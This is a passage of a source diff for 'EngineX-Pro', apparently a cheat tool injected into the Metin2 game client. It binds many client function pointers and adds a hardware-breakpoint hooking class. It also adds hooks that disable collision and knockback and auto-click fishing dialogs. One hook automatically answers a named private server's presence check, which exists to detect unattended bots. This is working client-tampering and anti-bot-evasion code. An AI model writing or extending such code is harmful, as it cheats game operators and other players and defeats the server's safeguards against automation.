} + if (pCPythonPlayerSetAttackKeyState != NULL) + { + CPythonPlayerSetAttackKeyState = (tCPythonPlayerSetAttackKeyState)(Globals::pCPythonPlayerSetAttackKeyState); + } + if (pCPythonNetworkStreamSendFishingPacket != NULL) + { + CPythonNetworkStreamSendFishingPacket = (tCPythonNetworkStreamSendFishingPacket)(Globals::pCPythonNetworkStreamSendFishingPacket); + } + if (pCPythonNetworkStreamSendFishingQuitPacket != NULL) + { + CPythonNetworkStreamSendFishingQuitPacket = (tCPythonNetworkStreamSendFishingQuitPacket)(Globals::pCPythonNetworkStreamSendFishingQuitPacket); + } + if (pCPythonNetworkStreamSendEmoticon != NULL) + { + CPythonNetworkStreamSendEmoticon = (tCPythonNetworkStreamSendEmoticon)(Globals::pCPythonNetworkStreamSendEmoticon); + } + if (pCPythonNetworkStreamSendItemPickUpPacket != NULL) + { + CPythonNetworkStreamSendItemPickUpPacket = (tCPythonNetworkStreamSendItemPickUpPacket)(pCPythonNetworkStreamSendItemPickUpPacket);; + } + if (pCPythonPlayerNEW_GetMainActorPtr != NULL) + { + CPythonPlayerNEW_GetMainActorPtr = (tCPythonPlayerNEW_GetMainActorPtr)(pCPythonPlayerNEW_GetMainActorPtr); + } + if (pCInstanceBaseIsMountingHorse != NULL) + { + CInstanceBaseIsMountingHorse = (tCInstanceBaseIsMountingHorse)(pCInstanceBaseIsMountingHorse); + } + if (pCPythonNetworkStreamSendChatPacket != NULL) + { + CPythonNetworkStreamSendChatPacket = (tCPythonNetworkStreamSendChatPacket)(pCPythonNetworkStreamSendChatPacket); + } + if (pCPythonPlayerIsSkillCoolTime != NULL) + { + CPythonPlayerIsSkillCoolTime = (tCPythonPlayerIsSkillCoolTime)(pCPythonPlayerIsSkillCoolTime); + } + if (pCPythonPlayerClickSkillSlot != NULL) + { + CPythonPlayerClickSkillSlot = (tCPythonPlayerClickSkillSlot)(pCPythonPlayerClickSkillSlot); + } + if (pCPythonCharacterManagerGetInstancePtr != NULL) + { + CPythonCharacterManagerGetInstancePtr = (tCPythonCharacterManagerGetInstancePtr)(pCPythonCharacterManagerGetInstancePtr); + } + if (pCPythonNetworkStreamSendChatPacket != NULL) + { + CPythonNetworkStreamSendChatPacket = (tCPythonNetworkStreamSendChatPacket)(pCPythonNetworkStreamSendChatPacket); + } + if (pCPythonPlayerGetTargetVID != NULL) + { + CPythonPlayerGetTargetVID = (tCPythonPlayerGetTargetVID)(pCPythonPlayerGetTargetVID); + } + if (pCInstanceBaseGetNameString != NULL) + { + CInstanceBaseGetNameString = (tCInstanceBaseGetNameString)(pCInstanceBaseGetNameString); + } + if (pCPythonPlayerGetItemMetinSocket != NULL) + { + CPythonPlayerGetItemMetinSocket = (tCPythonPlayerGetItemMetinSocket)(pCPythonPlayerGetItemMetinSocket); + } + if (pCPythonPlayerGetItemAttribute != NULL) + { + CPythonPlayerGetItemAttribute = (tCPythonPlayerGetItemAttribute)(pCPythonPlayerGetItemAttribute); + } + if (pCInstanceBaseGetInstanceType != NULL) + { + CInstanceBaseGetInstanceType = (tCInstanceBaseGetInstanceType)(pCInstanceBaseGetInstanceType); + } + if (pCPythonNetworkStreamSendExchangeStartPacket != NULL) + { + CPythonNetworkStreamSendExchangeStartPacket = (tCPythonNetworkStreamSendExchangeStartPacket)(pCPythonNetworkStreamSendExchangeStartPacket); + } + if (pCPythonNetworkStreamSendExchangeItemAddPacket != NULL) + { + CPythonNetworkStreamSendExchangeItemAddPacket = (tCPythonNetworkStreamSendExchangeItemAddPacket)(pCPythonNetworkStreamSendExchangeItemAddPacket); + } + if (pCPythonNetworkStreamSendExchangeAcceptPacket != NULL) + { + CPythonNetworkStreamSendExchangeAcceptPacket = (tCPythonNetworkStreamSendExchangeAcceptPacket)(pCPythonNetworkStreamSendExchangeAcceptPacket); + } + if (pCPythonPlayerGetMainCharacterIndex != NULL) + { + CPythonPlayerGetMainCharacterIndex = (tCPythonPlayerGetMainCharacterIndex)(pCPythonPlayerGetMainCharacterIndex); + } + if (pCPythonNetworkStreamSendUseSkillPacket != NULL) + { + CPythonNetworkStreamSendUseSkillPacket = (tCPythonNetworkStreamSendUseSkillPacket)(pCPythonNetworkStreamSendUseSkillPacket); + } + if (pCPythonNetworkStreamSendAddFlyTargetingPacket != NULL) + { + CPythonNetworkStreamSendAddFlyTargetingPacket = (tCPythonNetworkStreamSendAddFlyTargetingPacket)(pCPythonNetworkStreamSendAddFlyTargetingPacket); + } + if (pCPythonNetworkStreamSendShootPacket != NULL) + { + CPythonNetworkStreamSendShootPacket = (tCPythonNetworkStreamSendShootPacket)(pCPythonNetworkStreamSendShootPacket); + } + if (pCPythonPlayerGetStatus != NULL) + { + CPythonPlayerGetStatus = (tCPythonPlayerGetStatus)(pCPythonPlayerGetStatus); + } + if (pCInstanceBaseNEW_MoveToDestPixelPositionDirection != NULL) + { + CInstanceBaseNEW_MoveToDestPixelPositionDirection = (tCInstanceBaseNEW_MoveToDestPixelPositionDirection)(pCInstanceBaseNEW_MoveToDestPixelPositionDirection); + } + if (pCInstanceBaseNEW_GetPixelPosition != NULL) + { + CInstanceBaseNEW_GetPixelPosition = (tCInstanceBaseNEW_GetPixelPosition)(pCInstanceBaseNEW_GetPixelPosition); + } + if (pCPhysicsObjectIncreaseExternalForce != NULL) + { + CPhysicsObjectIncreaseExternalForce = (tCPhysicsObjectIncreaseExternalForce)(pCPhysicsObjectIncreaseExternalForce); + } + if (pCPythonPlayerGetName != NULL) + { + CPythonPlayerGetName = (tCPythonPlayerGetName)(pCPythonPlayerGetName); + } + if (pCPythonPlayerGetRace != NULL) + { + CPythonPlayerGetRace = (tCPythonPlayerGetRace)(pCPythonPlayerGetRace); + } + if (pCPythonPlayerGetItemIndex != NULL) + { + CPythonPlayerGetItemIndex = (tCPythonPlayerGetItemIndex)(pCPythonPlayerGetItemIndex); + } + if (pCItemDataGetName != NULL) + { + CItemDataGetName = (tCItemDataGetName)(pCItemDataGetName); + } + if (pCItemManagerGetItemDataPointer != NULL) + { + CItemManagerGetItemDataPointer = (tCItemManagerGetItemDataPointer)(pCItemManagerGetItemDataPointer); + } + if (pCPythonNetworkStreamSendItemDropPacketNew != NULL) + { + CPythonNetworkStreamSendItemDropPacketNew = (tCPythonNetworkStreamSendItemDropPacketNew)(pCPythonNetworkStreamSendItemDropPacketNew); + } + if (pCPythonNetworkStreamSendScriptAnswerPacket != NULL) + { + CPythonNetworkStreamSendScriptAnswerPacket = (tCPythonNetworkStreamSendScriptAnswerPacket)(pCPythonNetworkStreamSendScriptAnswerPacket); + } + if (pCPythonNetworkStreamSendOnClickPacket != NULL) + { + CPythonNetworkStreamSendOnClickPacket = (tCPythonNetworkStreamSendOnClickPacket)(pCPythonNetworkStreamSendOnClickPacket); + } + if (pCPythonPlayerReviveGlobal != NULL) + { + CPythonPlayerReviveGlobal = (tCPythonPlayerReviveGlobal)(pCPythonPlayerReviveGlobal); + } + if (pCInstanceBaseBlockMovement != NULL) + { + CInstanceBaseBlockMovement = (tCInstanceBaseBlockMovement)(pCInstanceBaseBlockMovement); + } + if (pCPythonPlayerIsSkillActive != NULL) + { + CPythonPlayerIsSkillActive = (tCPythonPlayerIsSkillActive)(pCPythonPlayerIsSkillActive); + } + if (pCPythonNetworkStreamSendItemMovePacket != NULL) + { + CPythonNetworkStreamSendItemMovePacket = (tCPythonNetworkStreamSendItemMovePacket)(pCPythonNetworkStreamSendItemMovePacket); + } + if (pCNetworkStreamSendSequence != NULL) + { + CNetworkStreamSendSequence = (tCNetworkStreamSendSequence)(pCNetworkStreamSendSequence); + } + if (pCPythonNetworkStreamSendCharacterStatePacket != NULL) + { + CPythonNetworkStreamSendCharacterStatePacket = (tCPythonNetworkStreamSendCharacterStatePacket)(pCPythonNetworkStreamSendCharacterStatePacket); + } + if (pCPythonNetworkStreamConnectGameServer != NULL) + { + CPythonNetworkStreamConnectGameServer = (tCPythonNetworkStreamConnectGameServer)(pCPythonNetworkStreamConnectGameServer); + } + if (pCNetworkStreamIsOnline != NULL) + { + CNetworkStreamIsOnline = (tCNetworkStreamIsOnline)(pCNetworkStreamIsOnline); + } + if (pCPythonApplicationRenderGame != NULL) + { + CPythonApplicationRenderGame = (tCPythonApplicationRenderGame)(pCPythonApplicationRenderGame); + } + if (pCPythonNetworkStreamGetMainActorSkillGroup != NULL) + { + CPythonNetworkStreamGetMainActorSkillGroup = (tCPythonNetworkStreamGetMainActorSkillGroup)(pCPythonNetworkStreamGetMainActorSkillGroup); + } + if (pCPythonNetworkStreamSendWhisperPacket != NULL) + { + CPythonNetworkStreamSendWhisperPacket = (tCPythonNetworkStreamSendWhisperPacket)(pCPythonNetworkStreamSendWhisperPacket); + } + if (pCPythonNetworkStreamSendSpecial != NULL) + { + CPythonNetworkStreamSendSpecial = (tCPythonNetworkStreamSendSpecial)(pCPythonNetworkStreamSendSpecial); + } + if (pCPythonNetworkStreamSendAttackPacket != NULL) + { + CPythonNetworkStreamSendAttackPacket = (tCPythonNetworkStreamSendAttackPacket)(pCPythonNetworkStreamSendAttackPacket); + } + if (pCInstanceBase__SetAffect != NULL) + { + CInstanceBase__SetAffect = (tCInstanceBase__SetAffect)(pCInstanceBase__SetAffect); + } + if (pCInstanceBaseAvoidObject != NULL) + { + CInstanceBaseAvoidObject = (tCInstanceBaseAvoidObject)(pCInstanceBaseAvoidObject); + } + if (pCPythonPlayer__OnPressActor != NULL) + { + CPythonPlayer__OnPressActor = (tCPythonPlayer__OnPressActor)(pCPythonPlayer__OnPressActor); + } + if (pCPythonPlayer__OnClickActor != NULL) + { + CPythonPlayer__OnClickActor = (tCPythonPlayer__OnClickActor)(pCPythonPlayer__OnClickActor); + } + if (pCInstanceBaseIsDead != NULL) + { + CInstanceBaseIsDead = (tCInstanceBaseIsDead)(pCInstanceBaseIsDead); + } + if (pCActorInstanceTestActorCollision != NULL) + { + CActorInstanceTestActorCollision = (tCActorInstanceTestActorCollision)(pCActorInstanceTestActorCollision); + } + if (pCInstanceBaseSCRIPT_SetPixelPosition != NULL) + { + CInstanceBaseSCRIPT_SetPixelPosition = (tCInstanceBaseSCRIPT_SetPixelPosition)(pCInstanceBaseSCRIPT_SetPixelPosition); + } + if (pCPythonPlayerNEW_SetSingleDIKKeyState != NULL) + { + CPythonPlayerNEW_SetSingleDIKKeyState = (tCPythonPlayerNEW_SetSingleDIKKeyState)(pCPythonPlayerNEW_SetSingleDIKKeyState); + } + + if (pCPythonEventManagerRegisterEventSetFromString != NULL) + { + CPythonEventManagerRegisterEventSetFromString = (tCPythonEventManagerRegisterEventSetFromString)(pCPythonEventManagerRegisterEventSetFromString); + } + if (pCPythonApplicationProcess != NULL) + { + CPythonApplicationProcess = (tCPythonApplicationProcess)(pCPythonApplicationProcess); + } + if (pCInstanceBaseNEW_LookAtDestPixelPosition != NULL) + { + CInstanceBaseNEW_LookAtDestPixelPosition = (tCInstanceBaseNEW_LookAtDestPixelPosition)(pCInstanceBaseNEW_LookAtDestPixelPosition); + } + if (pCPythonNetworkStreamServerCommand != NULL) + { + CPythonNetworkStreamServerCommand = (tCPythonNetworkStreamServerCommand)(pCPythonNetworkStreamServerCommand); + } + if (pCInstanceBaseGetRotation != NULL) + { + CInstanceBaseGetRotation = (tCInstanceBaseGetRotation)(pCInstanceBaseGetRotation); + } + if (pCPythonPlayerSetTarget != NULL) + { + CPythonPlayerSetTarget = (tCPythonPlayerSetTarget)(pCPythonPlayerSetTarget); + } + if (pCPythonNonPlayerGetTable != NULL) + { + CPythonNonPlayerGetTable = (tCPythonNonPlayerGetTable)(pCPythonNonPlayerGetTable); + } + if (pCPythonBackgroundLocalPositionToGlobalPosition != NULL) + { + CPythonBackgroundLocalPositionToGlobalPosition = (tCPythonBackgroundLocalPositionToGlobalPosition)(pCPythonBackgroundLocalPositionToGlobalPosition); + } + if (pCPythonBackgroundGlobalPositionToMapInfo != NULL) + { + CPythonBackgroundGlobalPositionToMapInfo = (tCPythonBackgroundGlobalPositionToMapInfo)(pCPythonBackgroundGlobalPositionToMapInfo); + } + if (pCNetworkStreamGetAccountCharacterSlotDataz != NULL) + { + CNetworkStreamGetAccountCharacterSlotDataz = (tCNetworkStreamGetAccountCharacterSlotDataz)(pCNetworkStreamGetAccountCharacterSlotDataz); + } + if (pCNetworkStreamConnect != NULL) + { + CNetworkStreamConnect = (tCNetworkStreamConnect)(pCNetworkStreamConnect); + } + if (pCNetworkStream__DirectEnterMode_Set != NULL) + { + CNetworkStream__DirectEnterMode_Set = (tCNetworkStream__DirectEnterMode_Set)(pCNetworkStream__DirectEnterMode_Set); + } + if (pCPythonNetworkStreamSendRefinePacket != NULL) + { + CPythonNetworkStreamSendRefinePacket = (tCPythonNetworkStreamSendRefinePacket)(pCPythonNetworkStreamSendRefinePacket); + } + if (pCPythonNetworkStreamSendShopSellPacketNew != NULL) + { + CPythonNetworkStreamSendShopSellPacketNew = (tCPythonNetworkStreamSendShopSellPacketNew)(pCPythonNetworkStreamSendShopSellPacketNew); + } + if (pCPythonNetworkStreamSendShopBuyPacket != NULL) + { + CPythonNetworkStreamSendShopBuyPacket = (tCPythonNetworkStreamSendShopBuyPacket)(pCPythonNetworkStreamSendShopBuyPacket); + } + if (pCPythonNetworkStreamSendShopEndPacket != NULL) + { + CPythonNetworkStreamSendShopEndPacket = (tCPythonNetworkStreamSendShopEndPacket)(pCPythonNetworkStreamSendShopEndPacket); + } + if (pCPythonNetworkStreamSendGiveItemPacket != NULL) + { + CPythonNetworkStreamSendGiveItemPacket = (tCPythonNetworkStreamSendGiveItemPacket)(pCPythonNetworkStreamSendGiveItemPacket); + } + if (pCInstanceBaseGetInstanceVirtualNumber != NULL) + { + CInstanceBaseGetInstanceVirtualNumber = (tCInstanceBaseGetInstanceVirtualNumber)(pCInstanceBaseGetInstanceVirtualNumber); + } + if (pCInputKeyboardUpdateKeyboard != NULL) + { + CInputKeyboardUpdateKeyboard = (tCInputKeyboardUpdateKeyboard)(pCInputKeyboardUpdateKeyboard); + } + if (pCInstanceBaseIsWaiting != NULL) + { + CInstanceBaseIsWaiting = (tCInstanceBaseIsWaiting)(pCInstanceBaseIsWaiting); + } + if (pCInstanceBaseSetRotation != NULL) + { + CInstanceBaseSetRotation = (tCInstanceBaseSetRotation)(pCInstanceBaseSetRotation); + } + if (pCPythonNetworkStreamSendCommandPacket != NULL) + { + CPythonNetworkStreamSendCommandPacket = (tCPythonNetworkStreamSendCommandPacket)(pCPythonNetworkStreamSendCommandPacket); + } + if (pCInstanceBase__GetBackgroundHeight != NULL) + { + CInstanceBase__GetBackgroundHeight = (tCInstanceBase__GetBackgroundHeight)(pCInstanceBase__GetBackgroundHeight); + } + if (pCPythonPlayerGetItemCount != NULL) + { + CPythonPlayerGetItemCount = (tCPythonPlayerGetItemCount)(pCPythonPlayerGetItemCount); + } + if (pCResourceManagerGetResourcePointer != NULL) + { + CResourceManagerGetResourcePointer = (tCResourceManagerGetResourcePointer)(pCResourceManagerGetResourcePointer); + } + if (pCGraphicImageGetTexturePointer != NULL) + { + CGraphicImageGetTexturePointer = (tCResourceManagerGetTexturePointer)(pCGraphicImageGetTexturePointer); + } + if (pCGraphicTextureGetD3DTexture != NULL) + { + CGraphicTextureGetD3DTexture = (tCResourceManagerGetD3DTexture)(pCGraphicTextureGetD3DTexture); + } + if (pCResourceReload != NULL) + { + CResourceReload = (tCResourceReload)(pCResourceReload); + } +} + +//#####################################################################################################################################} + diff --git a/EngineX-Pro/HWBreakPointHook.cpp b/EngineX-Pro/HWBreakPointHook.cpp new file mode 100644 index 0000000..10f2dd5 --- /dev/null +++ b/EngineX-Pro/HWBreakPointHook.cpp @@ -0,0 +1,111 @@ +#include "polyhook2/Exceptions/HWBreakPointHook.hpp" + +PLH::HWBreakPointHook::HWBreakPointHook(const uint64_t fnAddress, const uint64_t fnCallback, HANDLE hThread) : AVehHook() { + m_fnCallback = fnCallback; + m_fnAddress = fnAddress; + + auto entry = AVehHookImpEntry(fnAddress, this); + assert(m_impls.find(entry) == m_impls.end()); + m_impls.insert(entry); + + m_hThread = hThread; +} + +PLH::HWBreakPointHook::HWBreakPointHook(const char* fnAddress, const char* fnCallback, HANDLE hThread) : AVehHook() { + m_fnCallback = (uint64_t)fnCallback; + m_fnAddress = (uint64_t)fnAddress; + + auto entry = AVehHookImpEntry((uint64_t)fnAddress, this); + assert(m_impls.find(entry) == m_impls.end()); + m_impls.insert(entry); + + m_hThread = hThread; +} + +bool PLH::HWBreakPointHook::hook() +{ + CONTEXT ctx; + ZeroMemory(&ctx, sizeof(ctx)); + ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS; + if (!GetThreadContext(m_hThread, &ctx)) { + Log::log("Failed to get thread context", ErrorLevel::SEV); + return false; + } + + bool freeReg = false; + for (m_regIdx = 0; m_regIdx < 4; m_regIdx++) { + if ((ctx.Dr7 & (1ULL << (m_regIdx * 2))) == 0) { + freeReg = true; + break; + } + } + + if (!freeReg) { + Log::log("All HW BP's are used", ErrorLevel::SEV); + return false; + } + + assert(m_regIdx < 4); + + switch (m_regIdx) { + case 0: + ctx.Dr0 = (decltype(ctx.Dr0))m_fnAddress; + break; + case 1: + ctx.Dr1 = (decltype(ctx.Dr1))m_fnAddress; + break; + case 2: + ctx.Dr2 = (decltype(ctx.Dr2))m_fnAddress; + break; + case 3: + ctx.Dr3 = (decltype(ctx.Dr3))m_fnAddress; + break; + } + + ctx.Dr7 &= ~(3ULL << (16 + 4 * m_regIdx)); //00b at 16-17, 20-21, 24-25, 28-29 is execute bp + ctx.Dr7 &= ~(3ULL << (18 + 4 * m_regIdx)); // size of 1 (val 0), at 18-19, 22-23, 26-27, 30-31 + ctx.Dr7 |= 1ULL << (2 * m_regIdx); + + // undefined, suspendthread needed + if (!SetThreadContext(m_hThread, &ctx)) { + Log::log("Failed to set thread context", ErrorLevel::SEV); + } + + m_hooked = true; + return true; +} + +bool PLH::HWBreakPointHook::unHook() { + assert(m_hooked); + if (!m_hooked) { + Log::log("HWBPHook unhook failed: no hook present", ErrorLevel::SEV); + return false; + } + + CONTEXT ctx; + ZeroMemory(&ctx, sizeof(ctx)); + ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS; + if (!GetThreadContext(m_hThread, &ctx)) { + Log::log("Failed to get thread context", ErrorLevel::SEV); + return false; + } + + ctx.Dr7 &= ~(1ULL << (2 * m_regIdx)); + + //Still need to call suspend thread + if (!SetThreadContext(m_hThread, &ctx)) { + Log::log("Failed to set thread context", ErrorLevel::SEV); + return false; + } + m_hooked = false; + return true; +} + +LONG PLH::HWBreakPointHook::OnException(EXCEPTION_POINTERS* ExceptionInfo) { + if (ExceptionInfo->ExceptionRecord->ExceptionCode != EXCEPTION_SINGLE_STEP) + return EXCEPTION_CONTINUE_SEARCH; + + ExceptionInfo->ContextRecord->Dr7 &= ~(1ULL << (2 * m_regIdx)); + ExceptionInfo->ContextRecord->XIP = (decltype(ExceptionInfo->ContextRecord->XIP))m_fnCallback; + return EXCEPTION_CONTINUE_EXECUTION; +} \ No newline at end of file diff --git a/EngineX-Pro/HookCore.cpp b/EngineX-Pro/HookCore.cpp new file mode 100644 index 0000000..f4a46f6 --- /dev/null +++ b/EngineX-Pro/HookCore.cpp @@ -0,0 +1,857 @@ +#include "stdafx.h" +#include "HookCore.h" + +//################################################################################################################################################## +void _fastcall Hooks::NewCPythonApplicationRenderGame(void* This, void* EDX) +{ + if (!Settings::PROTECTION_DISABLE_RENDER_ENABLE) + { + Device::pDevice->GetTransform(D3DTS_WORLD, &CRender::WorldStateCopy); + nCPythonApplicationRenderGame(This); + for (map< pair, pair>> ::iterator itor = MainCore::moduleList.begin(); itor != MainCore::moduleList.end(); itor++) + { + if (itor->second.first) + { + itor->second.second->OnRender(); + } + } + } + else { + Device::pDevice->Clear(0L, NULL, D3DCLEAR_TARGET | D3DCLEAR_ZBUFFER, 0xff000000, 1.0f, 0); + } +} + +//################################################################################################################################################## +bool _fastcall Hooks::NewCActorInstanceTestActorCollision(void* This, void* EDX, DWORD* rVictim) +{ + + if (Settings::MAIN_WALL_MOB_ENABLE ) + { + return false; + } + else + { + return nCActorInstanceTestActorCollision(This, rVictim); + } +} + +//################################################################################################################################################## +bool _fastcall Hooks::NewCInstanceBaseAvoidObject(void* This, void* EDX, DWORD* c_rkBGObj) +{ + + if (Settings::MAIN_WALL_OBJECT_ENABLE) + { + return false; + } + else + { + return nCInstanceBaseAvoidObject(This, c_rkBGObj); + } +} + +//################################################################################################################################################## +void _fastcall Hooks::NewCInstanceBaseBlockMovement(void* This, void* EDX) +{ + + if (Settings::MAIN_WALL_TERRAIN_ENABLE) + { + return; + } + else + { + return nCInstanceBaseBlockMovement(This); + } +} + +//################################################################################################## +void _fastcall Hooks::NewCPhysicsObjectIncreaseExternalForce(void* This, void* EDX, const D3DVECTOR& c_rvBasePosition, float fForce) +{ + if (!Settings::MAIN_NOK_ENABLE) + { + + nCPhysicsObjectIncreaseExternalForce(This, c_rvBasePosition, fForce); + } + else + { + + } + return; +} + + +//################################################################################################## +bool __cdecl Hooks::NewPyCallClassMemberFunc(PyObject* poClass, const char* c_szFunc, PyObject* poArgs) + +{ + if (StringExtension::Equals(c_szFunc, "Update") || + StringExtension::Equals(c_szFunc, "OnRender") || + StringExtension::Equals(c_szFunc, "DownEvent") || + + StringExtension::Equals(c_szFunc, "Render") || + StringExtension::Equals(c_szFunc, "OnMouseOverIn") || + StringExtension::Equals(c_szFunc, "OnMouseOverOut") || + StringExtension::Equals(c_szFunc, "ShowToolTip") || + StringExtension::Equals(c_szFunc, "HideToolTip") || + StringExtension::Equals(c_szFunc, "OnEndFrame") || + StringExtension::Equals(c_szFunc, "OnKeyFrame") + ) + { + + return nPyCallClassMemberFunc(poClass, c_szFunc, poArgs); + } + + if (StringExtension::Equals(c_szFunc, "SetLoginPhase")) + { + + } + if (StringExtension::Equals(c_szFunc, "RefreshStatus")) + { + if (Globals::m_apoPhaseWndGame == NULL) + { + Globals::m_apoPhaseWndGame = poClass; + } + } + /* if (StringExtension::Equals(c_szFunc, "SetLoadingPhase") && Settings::ProtectionShowWisperLogs) + { + return true; + } + if (StringExtension::Equals(c_szFunc, "LoadData")&&Settings::ProtectionShowWisperLogs) + { + __SetProgress(0) + + return true; + }*/ + if (StringExtension::Equals(c_szFunc, "BINARY_ServerCommand_Run")) + { + + const char* com = Globals::PyString_AsString(Globals::PyTuple_GetItem(poArgs, 0)); + + Logger::Add(Logger::MAIN, true, Logger::WHITE, com); + } + if (StringExtension::Equals(c_szFunc, "OnRecvWhisper")) + { + try { + int type = Globals::PyInt_AsLong(Globals::PyTuple_GetItem(poArgs, 0)); + const char* name = Globals::PyString_AsString(Globals::PyTuple_GetItem(poArgs, 1)); + const char* line = Globals::PyString_AsString(Globals::PyTuple_GetItem(poArgs, 2)); + } + catch (...) + { + //printf("wrong \n"); + } + + if (Settings::PROTECTION_SHOW_WHISPER_LOGS_ENABLE) + { + // Logger::Add(Logger::MAIN, true, Logger::WHITE, line); + } + if (Settings::PROTECTION_SHOW_WHISPER_BALLOON_ENABLE) + { + string title = StringExtension::StringFormat("Whisper[%s]", GameFunctionsCustom::PlayerGetName()); + //MiscExtension::UpdateBalloon(Globals::mainHwnd, title.c_str(), line, NULL); + } + if (Settings::PROTECTION_PLAY_WHISPER_BEEP_ENABLE) + { + //HANDLE hThread = nullptr; + //NTSTATUS ret = SYSCALL(0xBB, 11, &hThread, THREAD_ALL_ACCESS, 0, (HANDLE)-1, (LPTHREAD_START_ROUTINE)MiscExtension::PlayAlerSound, 0, 0, 0, 0, 0, 0); + //if (ret != 0 || hThread == nullptr) + //{ + // MessageBox(0, "error!2", 0, 0); + //} + //CloseHandle(hThread); + CreateThread(0, NULL, (LPTHREAD_START_ROUTINE)MiscExtension::PlayAlerSound, NULL, NULL, NULL); + } + if (Settings::PROTECTION_RESTORE_WISPER_WINDOW_ENABLE) + { + ShowWindow(Globals::mainHwnd, SW_RESTORE); + } + if (Settings::PROTECTION_FLASH_WHISPER_ICON_ENABLE) + { + FLASHWINFO fi; + fi.cbSize = sizeof(FLASHWINFO); + fi.hwnd = Globals::mainHwnd; + fi.dwFlags = FLASHW_ALL | FLASHW_TIMERNOFG;; + fi.uCount = 3; + fi.dwTimeout = 0; + FlashWindowEx(&fi); + } + } + return nPyCallClassMemberFunc(poClass, c_szFunc, poArgs); +} + +int _fastcall Hooks::NewCPythonEventManagerRegisterEventSetFromString(void* This, void* EDX, const string& strScript) +{ + const char* str_base = strScript.c_str(); + switch (Globals::Server) + { + case ServerName::METINPL: + { + if (Settings::FISH_ENABLE) + { + if (StringExtension::Contains(strScript.c_str(), "[QUESTION 1;Uszlachetnienie|2;")) + { + cout << "Passed" << endl; + return -1; + } + if (StringExtension::Contains(strScript.c_str(), "[COLOR256 r;255|g;230|b;186]Rybak:[COLOR256 r;196|g;196|b;196][ENTER]Czy chcesz")) + { + cout << "Passed" << endl; + return -1; + } + if (StringExtension::Contains(strScript.c_str(), "Ryba[ENTER]niemrawo szarpie na haczyku. Co chcesz z n")) + { + cout << "Pokroic huja" << endl; + GameFunctions::NetworkStreamSendScriptAnswerPacket(1); + return -1; + } + if (StringExtension::Contains(strScript.c_str(), "[COLOR256 r;255|g;230|b;186]Rybak:[COLOR256 r;196|g;196|b;196][ENTER]Hej, uda")) + { + cout << "Passed" << endl; + GameFunctions::NetworkStreamSendScriptAnswerPacket(0); + return -1; + } + cout << strScript << endl; + } + } + break; + case ServerName::SAMIAS2: + if (StringExtension::Contains(strScript.c_str(), "Kontrola obecności")) + { + if (StringExtension::Contains(strScript.c_str(), "Wybierz cyfrę '1'")) + { + if (StringExtension::Contains(strScript.c_str(), "1;1")) + { + GameFunctions::NetworkStreamSendScriptAnswerPacket(1); + } + if (StringExtension::Contains(strScript.c_str(), "2;1")) + { + GameFunctions::NetworkStreamSendScriptAnswerPacket(2); + } + if (StringExtension::Contains(strScript.c_str(), "3;1")) + { + GameFunctions::NetworkStreamSendScriptAnswerPacket(3); + } + if (StringExtension::Contains(strScript.c_str(), "4;1")) + { + GameFunctions::NetworkStreamSendScriptAnswerPacket(4); + } + } + if (StringExtension::Contains(strScript.c_str(), "Wybierz cyfrę '2'")) + { + if (StringExtension::Contains(strScript.c_str(), "1;2")) + { + GameFunctions::NetworkStreamSendScriptAnswerPacket(1); + } + if (StringExtension::Contains(strScript.c_str(), "2;2")) + { + GameFunctions::NetworkStreamSendScriptAnswerPacket(2); + } + if (StringExtension::Contains(strScript.c_str(), "3;2")) + { + GameFunctions::NetworkStreamSendScriptAnswerPacket(3); + } + if (StringExtension::Contains(strScript.c_str(), "4;2")) + { + GameFunctions::NetworkStreamSendScriptAnswerPacket(4); + } + } + if (StringExtension::Contains(strScript.c_str(), "Wybierz cyfrę '3'")) + { + if (StringExtension::Contains(strScript.c_str(), "1;3")) + { + GameFunctions::NetworkStreamSendScriptAnswerPacket(1); + } + if (StringExtension::Contains(strScript.c_str(), "2;3")) + { + GameFunctions::NetworkStreamSendScriptAnswerPacket(2); + } + if (StringExtension::Contains(strScript.c_str(), "3;3")) + { + GameFunctions::NetworkStreamSendScriptAnswerPacket(3); + } + if (StringExtension::Contains(strScript.c_str(), "4;3")) + { + GameFunctions::NetworkStreamSendScriptAnswerPacket(4); + } + } + if (StringExtension::Contains(strScript.c_str(), "Wybierz cyfrę '4'")) + { + if (StringExtension::Contains(strScript.c_str(), "1;4")) + { + GameFunctions::NetworkStreamSendScriptAnswerPacket(1); + } + if (StringExtension::Contains(strScript.c_str(), "2;4")) + { + GameFunctions::NetworkStreamSendScriptAnswerPacket(2); + } + if (StringExtension::Contains(strScript.c_str(), "3;4")) + { + GameFunctions::NetworkStreamSendScriptAnswerPacket(3); + } + if (StringExtension::Contains(strScript.c_str(), "4;4")) + { + GameFunctions::NetworkStreamSendScriptAnswerPacket(4); + } + } + return -1; + } + break; + } + return nCPythonEventManagerRegisterEventSetFromString(This, strScript); +} + +//################################################################################################## +bool _fastcall Hooks::NewCNetworkStreamRecv(void* This, void* EDX, int len, void* pDestBuf) +{ + bool ret; + ret = nCNetworkStreamRecv(This, len, pDestBuf); + BYTE* destBuf = (BYTE*)pDestBuf; + + BYTE header; + memcpy(&header, destBuf, sizeof(header)); + switch (Globals::Server) + { + //case ServerName::VIDGAR: + // if (header == HEADER_GC_ITEM_GROUND_DEL && len == sizeof(TPacketGCItemGroundDel)) + // { + // TPacketGCItemGroundDel packet_item_ground_del; + // memcpy(&packet_item_ground_del, destBuf, sizeof(TPacketGCItemGroundDel)); + // if (Globals::groundItemList.count(packet_item_ground_del.vid)) + // { + // Globals::groundItemList.erase(packet_item_ground_del.vid); + // } + // } + // if (header == HEADER_GC_ITEM_GROUND_ADD && len == 58) + // { + // TPacketGCItemGroundAdd packet_item_ground_add; + // memcpy(&packet_item_ground_add, destBuf, sizeof(TPacketGCItemGroundAdd)); + // /*__GlobalPositionToLocalPosition(packet_item_ground_add.lX, packet_item_ground_add.lY);*/ + + // TGroundItemInstance* pGroundItemInstance = new TGroundItemInstance(); + // GameFunctionsCustom::GlobalPositionToLocalPosition(packet_item_ground_add.lX, packet_item_ground_add.lY); + // pGroundItemInstance->Instance = NULL; + // pGroundItemInstance->dwVirtualNumber = packet_item_ground_add.dwVnum; + // pGroundItemInstance->v3EndPosition.x = packet_item_ground_add.lX; + // pGroundItemInstance->v3EndPosition.y = -packet_item_ground_add.lY; + // pGroundItemInstance->v3EndPosition.z = packet_item_ground_add.lZ; + // pGroundItemInstance->v3RotationAxis = D3DVECTOR{ 0, 0, 0 }; + // pGroundItemInstance->qEnd = D3DXQUATERNION{ 0, 0, 0,0 }; + // pGroundItemInstance->v3Center = D3DVECTOR{ 0, 0, 0 